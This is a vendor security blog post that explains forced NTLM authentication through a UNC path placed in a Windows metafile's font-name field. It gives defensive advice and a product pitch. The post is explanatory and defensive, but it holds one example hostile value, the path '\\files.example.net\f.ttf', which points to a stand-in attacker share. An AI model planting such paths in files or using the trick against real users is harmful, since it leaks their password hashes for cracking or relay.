---
title: "The Metafile That Names a Remote Font: How a Drawing Can Leak Your Password Hash"
description: A font name inside a vector drawing can point to a remote server, and software that follows it can send your password hash to an attacker.
image: https://explore.bowbridge.net/hubfs/Blog/File%20Security%20101/Headers/File%20Security%20101%20-%20Blog%20Header.jpeg
---
[customer login](https://www.bowbridge.net/customer-portal/) english deutsch
[](https://www.bowbridge.net/en/)
- [Solutions](https://www.bowbridge.net/en/sap-cybersecurity-solutions/)
- [Anti-Virus - Cloud](https://www.bowbridge.net/en/anti-virus-cloud-for-sap-solutions/)
- [Anti-Virus for SAP Solutions](https://www.bowbridge.net/en/anti-virus-for-sap-solutions/)
- [Application Security for SAP Solutions](https://www.bowbridge.net/en/application-security-for-sap-solutions/)
- [Resources](https://www.bowbridge.net/en/sap-cybersecurity-resources/)
- [Blog](https://explore.bowbridge.net/blog)
- [Protecting SAP Applications from Content-Based Attacks](https://www.bowbridge.net/en/guide-to-content-based-attacks-sap-applications/)
- [Intro to FIORI Cybersecurity](https://www.bowbridge.net/en/guide-to-sap-fiori-cybersecurity/)
- [Case Studies](https://www.bowbridge.net/en/sap-cybersecurity-resources/#casestudies)
- [White Papers](https://www.bowbridge.net/en/sap-cybersecurity-resources/#wp)
- [Webinars](https://www.bowbridge.net/en/sap-cybersecurity-resources/#webinars)
- [Partner Resources](https://www.bowbridge.net/en/bowbridge-partner-resources/)
- [About](https://www.bowbridge.net/en/about-bowbridge-software/)
- [Company Profile](https://www.bowbridge.net/en/company-profile/)
- [Customers](https://www.bowbridge.net/en/customers/)
- [News](https://explore.bowbridge.net/news)
- [Careers](https://www.bowbridge.net/en/careers/)
- [Support](https://www.bowbridge.net/en/sap-cybersecurity-support/)
- [Software Downloads](https://www.bowbridge.net/en/bowbridge-downloads/)
- [Documentation](https://www.bowbridge.net/en/bowbridge-documentation/)
- [Support Videos](https://www.bowbridge.net/en/bowbridge-support-videos/)
- [Contact Technical Support](https://www.bowbridge.net/en/sap-cybersecurity-support/#form)
- [Contact](https://www.bowbridge.net/en/contact-bowbridge/)
- [DE](https://www.bowbridge.net/de/)
- [EN](https://www.bowbridge.net/en/news.html)
- [Solutions](https://www.bowbridge.net/en/sap-cybersecurity-solutions/)
- [Anti-Virus - Cloud](https://www.bowbridge.net/en/anti-virus-cloud-for-sap-solutions/)
- [Anti-Virus for SAP Solutions](https://www.bowbridge.net/en/anti-virus-for-sap-solutions/)
- [Application Security for SAP Solutions](https://www.bowbridge.net/en/application-security-for-sap-solutions/)
- [Resources](https://www.bowbridge.net/en/sap-cybersecurity-resources/)
- [Blog](https://explore.bowbridge.net/blog)
- [Protecting SAP Applications from Content-Based Attacks](https://www.bowbridge.net/en/guide-to-content-based-attacks-sap-applications/)
- [Intro to FIORI Cybersecurity](https://www.bowbridge.net/en/guide-to-sap-fiori-cybersecurity/)
- [Case Studies](https://www.bowbridge.net/en/sap-cybersecurity-resources/#casestudies)
- [White Papers](https://www.bowbridge.net/en/sap-cybersecurity-resources/#wp)
- [Webinars](https://www.bowbridge.net/en/sap-cybersecurity-resources/#webinars)
- [Partner Resources](https://www.bowbridge.net/en/bowbridge-partner-resources/)
- [About](https://www.bowbridge.net/en/about-bowbridge-software/)
- [Company Profile](https://www.bowbridge.net/en/company-profile/)
- [Customers](https://www.bowbridge.net/en/customers/)
- [News](https://explore.bowbridge.net/news)
- [Careers](https://www.bowbridge.net/en/careers/)
- [Support](https://www.bowbridge.net/en/sap-cybersecurity-support/)
- [Software Downloads](https://www.bowbridge.net/en/bowbridge-downloads/)
- [Documentation](https://www.bowbridge.net/en/bowbridge-documentation/)
- [Support Videos](https://www.bowbridge.net/en/bowbridge-support-videos/)
- [Contact Technical Support](https://www.bowbridge.net/en/sap-cybersecurity-support/#form)
- [Contact](https://www.bowbridge.net/en/contact-bowbridge/)
# The Metafile That Names a Remote Font: How a Drawing Can Leak Your Password Hash
Nov 12, 2026, 8:00:00 AM by Joerg Schneider-Simon
A vector drawing contains no code, but it does contain names, and a name can point to a server. This is episode 4 of File Security 101, our series on file-based threats your anti-malware does not see.
The video explains it in about two minutes.
The article adds the details and the research behind it.
## A drawing as a Windows metafile
Windows metafiles, WMF and its successor EMF, are the vector drawing formats built into Windows. Diagrams, floor plans and clip art travel in them, on their own or embedded in Office documents and Outlook messages. A metafile holds lines, shapes and text labels; nothing in it runs.
## A metafile is a list of commands
Inside, a metafile is a sequence of records, each one a drawing command for the Windows graphics interface: create a pen, draw a polyline, create a font, select it, write a string. Normally the font itself is not stored in the file. The font record carries a typeface name in a field of at most 32 characters, and Windows matches that name against the fonts available on the computer ([Microsoft, LOGFONT](https://learn.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-logfonta)).
The same formats also contain records that name a file outright. An EMF can, for example, specify a color profile "in a file with a name", with the name stored in the record ([Microsoft, MS-EMF](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-emf/cf1bc41c-bdc5-4645-890f-c03e05d4d26d)).
## The attack: a name that is a path
The attacker writes a network path into the typeface name, such as `\\files.example.net\f.ttf`. The Windows graphics engine treats the field as a font name. The risk lies with software that treats it as a file to load: converters, preview tools or server-side renderers with their own font handling. When such a program opens the path, Windows connects to the attacker's server over SMB, port 445, and signs in automatically with the current user's credentials.
What the attacker receives is the user's NTLM challenge-response, often called the Net-NTLMv2 hash. It can be cracked offline to recover the password, or relayed to another server to sign in there as the user ([Microsoft](https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/)). If the program actually loads a font file from the share, a second risk follows: the attacker's font goes through a font parser, which has a long history of serious bugs.
## It happened
The technique behind this attack is well documented: MITRE ATT&CK lists it as [T1187, Forced Authentication](https://attack.mitre.org/techniques/T1187/), with examples such as documents that load a remote template and shortcut files whose icon points to a remote path.
The best-known recent case used a different field in a different format. In March 2023, Microsoft fixed [CVE-2023-23397](https://nvd.nist.gov/vuln/detail/CVE-2023-23397) in Outlook for Windows: a message whose reminder sound was set to a UNC path on the attacker's server leaked the recipient's Net-NTLMv2 hash when the reminder fired, without any user interaction. Microsoft attributed the attacks to Forest Blizzard, a Russian state-sponsored actor ([Microsoft](https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/)). The flaw is on CISA's Known Exploited Vulnerabilities list.
Fonts have also been an entry point in their own right. In 2011, the Duqu installer arrived in a Word document with an embedded TrueType font that exploited the Windows kernel's font parser ([Route Fifty](https://www.route-fifty.com/cybersecurity/2011/11/duqu-attacks-windows-via-fonts-fix-could-harm-display/282077)); Microsoft fixed it as [CVE-2011-3402](https://learn.microsoft.com/en-us/security-updates/securitybulletins/2011/ms11-087) in December 2011. In July 2015, Microsoft released an emergency update, MS15-078, for an OpenType font flaw in the Adobe Type Manager library found in the leaked files of the surveillance vendor Hacking Team, [CVE-2015-2426](https://learn.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-078) ([Computerworld](https://www.computerworld.com/article/2949589/microsoft-patches-windows-zero-day-found-in-hacking-teams-leaked-docs.html)). Both are on CISA's Known Exploited Vulnerabilities list.
## Why nobody notices
A malware scanner finds nothing, because the file holds no code: just a name that happens to be a path. The drawing still looks right, since a font that cannot be found is replaced by another one. The only trace is an outgoing connection to a file share, and nobody looks at that while reading a floor plan.
## What to do
- Block outbound SMB, TCP port 445, at the perimeter and on the local firewall, as Microsoft recommends for CVE-2023-23397. Check VPN split-tunnel settings for remote users.
- Add high-value accounts to the Protected Users group, which blocks NTLM authentication for them.
- Keep Windows and every program that renders documents up to date, because font parsers remain an attack surface.
bowbridge Content Disarm and Reconstruct draws the metafile into its own bounded surface and outputs a plain picture. Font names are never opened as paths, text is drawn with a built-in font, and color profiles or other external references are dropped, so the rebuilt picture contains no reference to the attacker's share.
[Join the bowbridge CDR beta program](https://explore.bowbridge.net/en/cdr-beta)
## Sources
- [T1187: Forced Authentication](https://attack.mitre.org/techniques/T1187/), MITRE ATT&CK
- [Guidance for investigating attacks using CVE-2023-23397](https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/), Microsoft Security Blog, March 24, 2023
- [MS11-087: Vulnerability in Windows kernel-mode drivers could allow remote code execution](https://learn.microsoft.com/en-us/security-updates/securitybulletins/2011/ms11-087), Microsoft, December 13, 2011
- [Duqu attacks Windows via fonts; fix could harm display](https://www.route-fifty.com/cybersecurity/2011/11/duqu-attacks-windows-via-fonts-fix-could-harm-display/282077), Route Fifty, November 8, 2011
- [MS15-078: Vulnerability in Microsoft font driver could allow remote code execution](https://learn.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-078), Microsoft, July 20, 2015
- [Microsoft patches Windows zero-day found in Hacking Team's leaked docs](https://www.computerworld.com/article/2949589/microsoft-patches-windows-zero-day-found-in-hacking-teams-leaked-docs.html), Computerworld, July 20, 2015
- [LOGFONTA structure](https://learn.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-logfonta), Microsoft Learn
- [EMR\_SETICMPROFILEA record](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-emf/cf1bc41c-bdc5-4645-890f-c03e05d4d26d), Microsoft Open Specifications (MS-EMF)
## Subscribe to upcoming episodes
#### Share this on social:
[Share via LinkedIn](https://www.linkedin.com/shareArticle?mini=true&url=https%3A%2F%2Fexplore.bowbridge.net%2Ffile-security-101%2Fepisode-4-the-metafile-that-names-a-remote-font&title=The+Metafile+That+Names+a+Remote+Font%3A+How+a+Drawing+Can+Leak+Your+Password+Hash&summary=A+font+name+inside+a+vector+drawing+can+point+to+a+remote+server%2C+and+software+that+follows+it+can+send+your+password+hash+to+an+attacker.) [Share via Twitter](https://twitter.com/intent/tweet?url=https%3A%2F%2Fexplore.bowbridge.net%2Ffile-security-101%2Fepisode-4-the-metafile-that-names-a-remote-font&text=The+Metafile+That+Names+a+Remote+Font%3A+How+a+Drawing+Can+Leak+Your+Password+Hash) [Share via Facebook](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Fexplore.bowbridge.net%2Ffile-security-101%2Fepisode-4-the-metafile-that-names-a-remote-font) [Share via Email](mailto:?subject=The+Metafile+That+Names+a+Remote+Font%3A+How+a+Drawing+Can+Leak+Your+Password+Hash&body=https%3A%2F%2Fexplore.bowbridge.net%2Ffile-security-101%2Fepisode-4-the-metafile-that-names-a-remote-font)
### Don't miss the latest SAP security news
#### bowbridge
- [Solutions](https://www.bowbridge.net/en/sap-cybersecurity-solutions/)
- [Resources](https://www.bowbridge.net/en/sap-cybersecurity-resources/)
- [About bowbridge](https://www.bowbridge.net/en/about-bowbridge-software/)
- [Support](https://www.bowbridge.net/en/sap-cybersecurity-support/)
- [Contact](https://www.bowbridge.net/en/contact-bowbridge/)
- [Customer Login](https://www.bowbridge.net/customer-portal/)
#### Contact
**GERMANY**
Tel: +49 (0) 6227 - 69899 - 50
Fax: +49 (0) 6227 - 69899-59
Email: [info@bowbridge.net](mailto:info@bowbridge.net)
**USA**
Tel: +1 650 - 617 - 3408
Fax: +1 650 - 617 - 3201
Email: [us-sales@bowbridge.net](mailto:us-sales@bowbridge.net)
#### Connect With Us
- [English](https://www.bowbridge.net/en/)
- [Deutsch](https://www.bowbridge.net/)
Copyright © 2023 bowbridge Software GmbH. All rights reserved. [Privacy Policy](https://www.bowbridge.net/en/privacy-policy)
```json
{
"@context" : "https://schema.org",
"@type" : "BlogPosting",
"author" : {
"@type" : "Person",
"name" : "Joerg Schneider-Simon",
"url" : "https://explore.bowbridge.net/file-security-101/author/joerg-schneider-simon"
},
"dateModified" : "2026-11-12T08:38:23.990Z",
"datePublished" : "2026-11-12T07:00:00.000Z",
"headline" : "The Metafile That Names a Remote Font: How a Drawing Can Leak Your Password Hash",
"image" : [ "https://explore.bowbridge.net/hubfs/Blog/File%20Security%20101/Headers/File%20Security%20101%20-%20Blog%20Header.jpeg" ],
"mainEntityOfPage" : {
"@id" : "https://explore.bowbridge.net/file-security-101/episode-4-the-metafile-that-names-a-remote-font",
"@type" : "WebPage"
},
"publisher" : {
"@type" : "Organization",
"logo" : {
"@type" : "ImageObject",
"url" : "https://explore.bowbridge.net/hubfs/bowbridge_logo_2-1.png"
},
"name" : "bowbridge Software GmbH"
}
}
```